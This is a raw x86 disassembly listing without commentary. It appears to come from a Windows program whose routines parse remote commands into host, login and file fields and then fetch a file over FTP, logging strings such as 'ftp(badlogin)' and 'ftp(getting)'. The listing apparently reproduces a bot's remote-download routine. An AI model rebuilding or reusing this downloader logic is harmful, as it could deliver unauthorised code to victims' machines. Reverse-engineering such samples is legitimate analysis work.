var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C710
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_40142E
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_40142E
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_40142E
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_40142E
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_40142E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B4A
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C93C
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C7C ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C8CC
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41C8CE
; ---------------------------------------------------------------------------
loc_41C8CC: ; CODE XREF: sub_41C710+1AFj
xor edi, edi
loc_41C8CE: ; CODE XREF: sub_41C710+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41C93C: ; CODE XREF: sub_41C710+C0j
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CABB
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 9
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C7C ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Bh
jz short loc_41CA4B
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CA4D
; ---------------------------------------------------------------------------
loc_41CA4B: ; CODE XREF: sub_41C710+32Ej
xor edi, edi
loc_41CA4D: ; CODE XREF: sub_41C710+339j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esi+69h]
lea ecx, [edi+7Ah]
push eax
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 0
mov cl, [esi+93h]
mov [edi+92h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+93h], dl
call sub_4013DE
loc_41CABB: ; CODE XREF: sub_41C710+23Fj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CCF6
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016B8
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 0Ch
push ecx
mov ecx, eax
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
push offset asc_444C7C ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401AAF
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 0Dh
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+128h+var_F4]
push 3
push eax
mov ecx, esi
call sub_4016B8
push offset word_44956A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 0Eh
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41CC5E
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41CC5E: ; CODE XREF: sub_41C710+4D6j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 0Fh
jz short loc_41CC86
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CC86: ; CODE XREF: sub_41C710+569j
xor edi, edi
loc_41CC88: ; CODE XREF: sub_41C710+574j
lea ecx, [esp+124h+var_10C]
mov byte ptr [esp+124h+var_4], bl
push ecx
lea ecx, [edi+11h]
call sub_401FDC
lea edx, [esp+124h+var_DC]
lea ecx, [edi+26h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_C4]
lea ecx, [edi+65h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 0
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CCF6: ; CODE XREF: sub_41C710+3BEj
lea ecx, [ebp+0BCh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41CE9B
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 10h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 11h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 12h
jz short loc_41CE0E
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CE10
; ---------------------------------------------------------------------------
loc_41CE0E: ; CODE XREF: sub_41C710+6F1j
xor edi, edi
loc_41CE10: ; CODE XREF: sub_41C710+6FCj
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41CE9B: ; CODE XREF: sub_41C710+5FCj
lea ecx, [ebp+118h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D040
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 13h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 14h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 15h
jz short loc_41CFB3
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41CFB5
; ---------------------------------------------------------------------------
loc_41CFB3: ; CODE XREF: sub_41C710+896j
xor edi, edi
loc_41CFB5: ; CODE XREF: sub_41C710+8A1j
lea edx, [esp+124h+var_10C]
lea ecx, [edi+11h]
push edx
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea eax, [esp+124h+var_DC]
lea ecx, [edi+26h]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_C4]
push ecx
lea ecx, [edi+65h]
call sub_401FDC
lea edx, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push edx
call sub_401FDC
lea eax, [esp+124h+var_94]
lea ecx, [edi+50h]
push eax
call sub_401FDC
lea ecx, [esi+69h]
push ecx
lea ecx, [edi+7Ah]
call sub_401FDC
mov byte ptr [edi+8Fh], 1
mov byte ptr [edi+90h], 0
mov byte ptr [edi+91h], 1
mov dl, [esi+93h]
mov [edi+92h], dl
mov al, [esi+94h]
mov ecx, edi
mov [edi+93h], al
call sub_4013DE
loc_41D040: ; CODE XREF: sub_41C710+7A1j
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_41D2A1
push offset asc_444600 ; " "
lea ecx, [esp+128h+var_F4]
push 1
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+124h+var_7C]
mov ecx, eax
push edx
mov byte ptr [esp+128h+var_4], 16h
call sub_40168B
push eax
call sub_401947
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D2A1
lea eax, [esp+124h+var_52]
lea ecx, [esp+124h+var_AC]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_3D]
push ecx
lea ecx, [esp+128h+var_94]
call sub_401FDC
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FDC
lea eax, [esp+124h+var_24]
lea ecx, [esp+124h+var_DC]
push eax
call sub_401FDC
push 1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch+var_F4]
push 2
push ecx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 17h
call sub_401FDC
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+128h+var_F4]
push 3
push edx
mov ecx, esi
call sub_4016B8
push offset word_44956A
mov ecx, eax
mov byte ptr [esp+128h+var_4], 18h
call sub_401B86
test eax, eax
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
setz [esp+124h+var_111]
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jz short loc_41D1EC
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_41D312
; ---------------------------------------------------------------------------
loc_41D1EC: ; CODE XREF: sub_41C710+A64j
push 94h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 19h
jz short loc_41D214
mov ecx, eax
call sub_4021E9
mov edi, eax
jmp short loc_41D216
; ---------------------------------------------------------------------------
loc_41D214: ; CODE XREF: sub_41C710+AF7j
xor edi, edi
loc_41D216: ; CODE XREF: sub_41C710+B02j
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
mov byte ptr [esp+128h+var_4], bl
call sub_401FDC
lea ecx, [esp+124h+var_DC]
push ecx
lea ecx, [edi+26h]
call sub_401FDC
lea edx, [esp+124h+var_C4]
lea ecx, [edi+65h]
push edx
call sub_401FDC
lea eax, [esp+124h+var_AC]
lea ecx, [edi+3Bh]
push eax
call sub_401FDC
lea ecx, [esp+124h+var_94]
push ecx
lea ecx, [edi+50h]
call sub_401FDC
lea edx, [esi+69h]
lea ecx, [edi+7Ah]
push edx
call sub_401FDC
mov byte ptr [edi+8Fh], 0
mov byte ptr [edi+90h], 1
mov byte ptr [edi+91h], 1
mov al, [esi+93h]
mov [edi+92h], al
mov cl, [esi+94h]
mov [edi+93h], cl
mov ecx, edi
call sub_4013DE
loc_41D2A1: ; CODE XREF: sub_41C710+116j
; sub_41C710+295j ...
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_4014BA
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401226
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401226
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401226
lea ecx, [esp+124h+var_DC]
mov byte ptr [esp+124h+var_4], 0
call sub_401226
lea ecx, [esp+124h+var_10C]
mov [esp+124h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_41D312: ; CODE XREF: sub_41C710+549j
; sub_41C710+AD7j
mov ecx, [esp+124h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 114h
retn 4
sub_41C710 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 310h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_401B4Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D640 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D6D0 proc near ; CODE XREF: sub_4014BAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+58h]
mov [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D6D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D770 proc near ; CODE XREF: sub_4021E9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Ah]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0D0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D770 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41D830: ; CODE XREF: ___:00401168j
; ___:loc_4019F6j
push esi
mov esi, ecx
call sub_4015CD
test byte ptr [esp+8], 1
jz short loc_41D848
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41D848: ; CODE XREF: ___:0041D83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D860 proc near ; CODE XREF: sub_4015CDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41D860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0D0
lea ecx, [esi+7Ah]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+65h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+50h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41D860 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41D930 proc near ; CODE XREF: sub_401C94j
var_44 = dword ptr -44h
var_3C = byte ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_14 = byte ptr 18h
arg_20 = byte ptr 24h
arg_24 = byte ptr 28h
arg_38 = byte ptr 3Ch
arg_44 = byte ptr 48h
arg_110 = byte ptr 114h
arg_120 = byte ptr 124h
arg_130 = byte ptr 134h
arg_1110 = dword ptr 1114h
arg_1114 = byte ptr 1118h
arg_1130 = dword ptr 1134h
arg_1138 = dword ptr 113Ch
arg_1144 = byte ptr 1148h
arg_1150 = dword ptr 1154h
; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43C3F2
push eax
mov eax, 1158h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
push offset byte_448F40
lea edi, [esi+11h]
mov ecx, edi
call sub_4012EE
test eax, eax
jz loc_41E035
lea ebx, [esi+65h]
push offset byte_448F40
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_41E035
lea ecx, [esi+26h]
push offset byte_448F40
call sub_4012EE
test eax, eax
jz loc_41E035
mov al, [esi+91h]
test al, al
jz short loc_41D9D1
push offset byte_448F40
lea ecx, [esi+3Bh]
call sub_4012EE
test eax, eax
jz short loc_41D9C4
push offset byte_448F40
lea ecx, [esi+50h]
call sub_4012EE
test eax, eax
jnz short loc_41D9D1
loc_41D9C4: ; CODE XREF: sub_41D930+81j
mov [esp+1Ch+var_8], esi
lea eax, [esp+1Ch+var_8]
jmp loc_41E03D
; ---------------------------------------------------------------------------
loc_41D9D1: ; CODE XREF: sub_41D930+70j
; sub_41D930+92j
push offset asc_444C7C ; ":"
lea ecx, [esp+20h]
push 1
push ecx
mov ecx, edi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+20h+arg_1150], 0
call sub_4012EE
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz short loc_41DA5E
push offset asc_444C7C ; ":"
lea edx, [esp+20h]
push 1
push edx
mov ecx, edi
call sub_4016B8
mov ecx, eax
mov [esp+1Ch+arg_1150], 1
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch]
mov ebp, eax
mov [esp+1Ch+arg_1150], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jnz short loc_41DA6F
loc_41DA5E: ; CODE XREF: sub_41D930+E3j
mov al, [esi+91h]
neg al
sbb eax, eax
and al, 0C5h
add eax, 50h
mov ebp, eax
loc_41DA6F: ; CODE XREF: sub_41D930+12Cj
push offset asc_444C7C ; ":"
lea ecx, [esp+20h+arg_14]
push 0
push ecx
mov ecx, edi
call sub_4016B8
lea edx, [esp+1Ch+arg_14]
mov ecx, edi
push edx
mov [esp+20h+arg_1150], 2
call sub_401FDC
lea eax, [esp+1Ch+arg_44]
push 104h
push eax
mov ecx, ebx
call sub_4017EE
push eax
nop
call near ptr 2800000h
lea ecx, [esp+28h+arg_38]
push ecx
mov ecx, ebx
call sub_4015E1
mov al, [esi+91h]
test al, al
jz loc_41DC04
call sub_401E1F
; ---------------------------------------------------------------------------
lea edx, [esp+28h+var_14]
mov ecx, edi
push edx
call sub_4017EE
push eax
call sub_401A7D
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_41DB1C
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+92h]
push eax
mov al, [esi+93h]
push offset aFtpBadconnect ; "ftp(badconnect)"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
mov [esp+28h+var_18], esi
lea edx, [esp+28h+var_18]
jmp loc_41E014
; ---------------------------------------------------------------------------
loc_41DB1C: ; CODE XREF: sub_41D930+1B7j
mov eax, [esp+28h+var_14]
lea ecx, [esi+50h]
push eax
call sub_4017EE
push eax
lea ecx, [esi+3Bh]
call sub_4017EE
push eax
call sub_402266
add esp, 0Ch
test eax, eax
jnz short loc_41DB73
lea ecx, [esi+7Ah]
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBadlogin ; "ftp(badlogin)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DB73: ; CODE XREF: sub_41D930+20Dj
lea edi, [esi+7Ah]
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpGetting ; "ftp(getting)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
mov eax, [esp+28h+var_14]
lea ecx, [esi+26h]
push eax
push 49h
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_4016B3
add esp, 10h
test eax, eax
jnz short loc_41DBF2
mov ecx, edi
call sub_40168B
mov cl, [esi+93h]
mov dl, [esi+92h]
push eax
push offset aFtpBaddl ; "ftp(baddl)"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea eax, [esp+28h+var_18]
mov [esp+28h+var_18], esi
push eax
jmp loc_41E015
; ---------------------------------------------------------------------------
loc_41DBF2: ; CODE XREF: sub_41D930+28Dj
mov ecx, [esp+28h+var_14]
push ecx
call sub_401D66
add esp, 4
jmp loc_41DE7B
; ---------------------------------------------------------------------------
